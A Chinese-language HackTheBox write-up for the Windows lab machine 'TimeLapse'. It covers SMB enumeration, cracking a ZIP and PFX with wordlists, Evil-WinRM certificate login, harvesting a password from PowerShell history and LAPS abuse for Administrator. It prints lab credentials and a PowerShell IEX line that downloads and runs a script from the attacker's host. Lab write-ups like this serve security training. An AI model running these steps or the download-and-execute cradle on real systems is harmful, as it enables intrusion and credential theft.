> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# TimeLapse HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* 破解受密码保护的 ZIP 文件（fcrackzip）
* 破解并读取 .PFX 文件（crackpkcs12）
* 使用 Evil-WinRM 获取 SSL 访问
* 信息泄露 - 读取用户的 PowerShell 历史记录（用户横向移动）
* 滥用 LAPS 获取密码（Get-LAPSPasswords.ps1）（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。<br>

<figure><img src="/files/57fc7b80e63f4f23ded7323ebd14d5da8b6a81a5" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/28c60d0bf534fc2cc76b8879b527d7ce7a9a9a44" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="/files/fbda0a4bb3744368f450bb7c98b3f05ec32f3c10" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

<figure><img src="/files/cb9e25202735c82957cc3ac98de992f12c290b31" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="/files/69704507d5a40ffff02379f044aae04f46116a19" alt=""><figcaption></figcaption></figure>

#### 用于 DNS 解析的 /etc/hosts 文件配置。

<figure><img src="/files/c03fda4b84436463da606ed62b65b783bac39f98" alt=""><figcaption></figcaption></figure>

## **枚举与利用：**

### 识别机器名称和域

使用 CrackMapExec 识别机器名称及其域。

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="/files/eba5765579d91dcf08718133df17d2951dd55a22" alt=""><figcaption></figcaption></figure>

### 列出 SMB 共享文件：

使用 smbclient 和 smbmap 列出共享文件。

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="/files/af5cecbec6711be616b72243a22548fcd05e4896" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="/files/9515c3a2af34dfab3f5455c90c47df7d1b8a40d1" alt=""><figcaption></figcaption></figure>

### **访问共享文件夹并发现受密码保护的 ZIP 文件**

探索并识别共享文件夹中的文件，发现一个受保护的 ZIP 文件。

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="/files/bb151eac50f9004289b54bd32e3fd3674cacf5e6" alt=""><figcaption></figcaption></figure>

### **使用 fcrackzip 破解 ZIP 文件**

使用 fcrackzip 尝试查找 ZIP 文件密码。

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="/files/4b73f8f5efa642dea6b9e8d826cc6bb0fd7e9082" alt=""><figcaption></figcaption></figure>

### **从 .PFX 文件提取**

<figure><img src="/files/93cb71dd9f41589c8628bfb15a8fd164f7348d06" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="/files/1c5f0b0ccd67d6600909638695f71591b1ebf4f0" alt=""><figcaption></figcaption></figure>

### **破解 PFX 文件密码：**

#### 为了破解 pfx 文件的密码，将使用 crackpkcs12 工具。

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="/files/7b28d0fcb4a6fa91b569dd6b937c7545616470db" alt=""><figcaption></figcaption></figure>

### **从 PFX 文件中获取私钥和证书**

恢复私钥

<figure><img src="/files/e831c0222b8c88b093eaf00b53b481cb33d581d6" alt=""><figcaption></figcaption></figure>

恢复证书

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="/files/a1503c473f3c2cf925c9e8509a7c24ab7745f904" alt=""><figcaption></figcaption></figure>

### **使用私钥和证书通过 Evil-WinRM 建立 SSL 连接**

<figure><img src="/files/de5861563cf8bec7b9511cc9cd5b6181d7c9bb93" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="/files/4e465a1ad65c3e9d04a1d0c920a3218e2cf86713" alt=""><figcaption></figcaption></figure>

### **获取第一个 flag**

获取第一个 flag，"user.txt"

<figure><img src="/files/6c7179a57a2a7c4a653e93ff01b7b3a4d865d05a" alt=""><figcaption></figcaption></figure>

## 权限提升：

**使用 net users 和 whoami /priv 查看域控用户及权限**

识别域控制器上的用户和权限。

<figure><img src="/files/e078dc137eeb0801c85d2e125f618a25475f8041" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9f14cffeecdc26e41388b45fac42f310cbd20e2a" alt=""><figcaption></figcaption></figure>

#### **分析用户组并发现用户 "svc/ deploy" 属于 "LAPS/ Readers" 组**

<figure><img src="/files/eaa7caa463c2100c9445a5b697ac17fc53027bcf" alt=""><figcaption></figcaption></figure>

#### **通过读取 PowerShell 历史记录获取用户 "svc/ deploy" 的密码**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="/files/8ef9b9e32123d12793376e695fbedd84ec7d7dc4" alt=""><figcaption></figcaption></figure>

### **使用 CrackMapExec 验证密码**

使用 CrackMapExec 获得密码有效性的确认。

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="/files/d5614582ed1758d529657eb0c14bd03e96b2e39a" alt=""><figcaption></figcaption></figure>

### **使用用户凭据 "svc/ deploy" 登录 Evil-WinRM**

使用用户凭据 "svc/ deploy" 通过 Evil-WinRM 连接到远程系统。

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="/files/fb4bb64912583599f67af98de270a997c291affc" alt=""><figcaption></figcaption></figure>

### **使用 Get-LAPSPasswords 提取密码**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **下载 Get-LAPSPasswords 脚本**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="/files/74348c21440eda4b833a2ea92341cfdad974c16d" alt=""><figcaption></figcaption></figure>

### **执行脚本并恢复管理员密码**

<figure><img src="/files/d42f03dab6e5af49070bcd42e8a8908df4f25321" alt=""><figcaption></figcaption></figure>

### **使用 CrackMapExec 验证管理员密码**

使用 CrackMapExec 从用户 Administrator 获得密码有效性的确认。

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="/files/5df441db6517b57727aedad31526413a576e8c35" alt=""><figcaption></figcaption></figure>

### **使用管理员凭据通过 Evil-WinRM 最终连接**

通过 Evil-WinRM 使用管理员凭据最终连接到系统。

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="/files/cd558c1080a444a5af47fb15f9c4b43c5734253a" alt=""><figcaption></figcaption></figure>

### **最终获得 Flag :)**

<figure><img src="/files/ebc8388bd057b315da8335671ce3751e69c65f2b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c6fa5f80090d8527fde906a6874fdb24d253576b" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
